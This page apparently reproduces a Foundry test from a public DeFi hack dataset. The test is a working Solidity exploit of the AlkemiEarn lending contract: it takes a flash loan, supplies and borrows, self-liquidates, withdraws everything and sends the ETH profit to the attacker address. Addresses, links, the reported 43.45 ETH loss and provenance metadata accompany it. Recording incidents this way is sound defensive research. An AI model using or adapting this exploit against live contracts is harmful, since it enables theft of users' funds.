Public reproduction file
src/test/2026-03/AlkemiEarn_exp.sol
Public reproduction file for dataset entry AlkemiEarn.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 43.45 ETH8// Attacker : https://etherscan.io/address/0x0ed1c01b8420a965d7bd2374db02896464c91cd79// Attack Contract : https://etherscan.io/address/0xE408b52AEfB27A2FB4f1cD760A76DAa4BF23794B10// Vulnerable Contract : https://etherscan.io/address/0x4822D9172e5b76b9Db37B75f5552F9988F98a88811// Attack Tx : https://skylens.certik.com/tx/eth/0xa17001eb39f867b8bed850de9107018a2d2503f95f15e4dceb7d68fff5ef6d9d?active_tab=events13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x4822D9172e5b76b9Db37B75f5552F9988F98a888#code16// @Analysis17// Post-mortem : https://x.com/blockaid_/status/2031351883470676048?s=2018// Twitter Guy : https://x.com/blockaid_20pragma solidity ^0.8.0;22contract AlkemiEarn_exp is BaseTestWithBalanceLog {23 uint256 blocknumToForkFrom = 24626979 - 1;24 address attacker = makeAddr("attacker");25 address victim = 0x4822D9172e5b76b9Db37B75f5552F9988F98a888;26 IAlkemiEarn victimContract = IAlkemiEarn(victim);28 function setUp() public {29 vm.createSelectFork("mainnet", blocknumToForkFrom);30 }32 function testExploit() public balanceLog2(attacker) {33 vm.startPrank(attacker);34 Attacker attacker = new Attacker();35 attacker.attack();36 vm.stopPrank();38 }39}41contract Attacker {43 IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);44 IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));45 address victim = 0x4822D9172e5b76b9Db37B75f5552F9988F98a888;46 IAlkemiEarn victimContract = IAlkemiEarn(victim);47 address attacker;48 address aweth = 0x8125afd067094cD573255f82795339b9fe2A40ab;51 function attack() public {52 attacker = msg.sender;53 address[] memory tokens = new address[](1);54 tokens[0] = address(weth);55 uint256[] memory amounts = new uint256[](1);56 amounts[0] = 51 ether;57 bytes memory userData = "";58 vault.flashLoan(address(this), tokens, amounts, userData);59 }61 function receiveFlashLoan(62 address[] memory tokens,63 uint256[] memory amounts,64 uint256[] memory feeAmounts,65 bytes memory userData66 ) external {67 weth.withdraw(amounts[0]);68 victimContract.supply{value: 50 ether}( aweth, 50 ether);69 victimContract.borrow(aweth, 39.5 ether);70 uint256 amount = victimContract.getBorrowBalance(address(this), aweth);71 console2.log("amount: ", amount);72 console2.log("balance of eth: ", address(this).balance);73 victimContract.liquidateBorrow{value: amount}(address(this), aweth, aweth, amount);74 victimContract.withdraw(aweth, type(uint256).max);75 weth.deposit{value: 51 ether}();76 weth.transfer(address(vault), amounts[0] + feeAmounts[0]);77 console2.log("balance of eth: ", address(this).balance);78 TransferHelper.safeTransferETH( attacker, address(this).balance);79 }81 fallback() external payable {}82}84interface IAlkemiEarn {85 function supply(address token, uint256 amount) external payable;86 function borrow(address token, uint256 amount) external;87 function getBorrowBalance(address user, address token) external view returns (uint256);88 function liquidateBorrow(address borrower, address borrow, address collateral, uint256 amountClose) external payable;89 function withdraw(address token, uint256 amount) external;90}Analysis
Dataset entry
Public Foundry test for “AlkemiEarn” (2026-03-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0ed1c01b8420a965d7bd2374db02896464c91cd7
- Attack Contract
0xe408b52aefb27a2fb4f1cd760a76daa4bf23794b
- Vulnerable Contract
0x4822d9172e5b76b9db37b75f5552f9988f98a888
- Attack Tx
0xa17001eb39f867b8bed850de9107018a2d2503f95f15e4dceb7d68fff5ef6d9d
- Post: https://x.com/blockaid_/status/2031351883470676048?s=20
- Twitter: https://x.com/blockaid_
- Explorer: https://etherscan.io/address/0x0ed1c01b8420a965d7bd2374db02896464c91cd7
- Explorer: https://etherscan.io/address/0xE408b52AEfB27A2FB4f1cD760A76DAa4BF23794B
- Explorer: https://etherscan.io/address/0x4822D9172e5b76b9Db37B75f5552F9988F98a888
- Explorer: https://etherscan.io/address/0x4822D9172e5b76b9Db37B75f5552F9988F98a888#code
File record
- Name
- AlkemiEarn
- Path
- src/test/2026-03/AlkemiEarn_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 581bfada90f9630d51c5cb83be8e27152e580b52
- Language
- Solidity
- Size
- 91 lines
- Date
- 2026-03-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/AlkemiEarn_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 581bfada90f9630d51c5cb83be8e27152e580b52, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.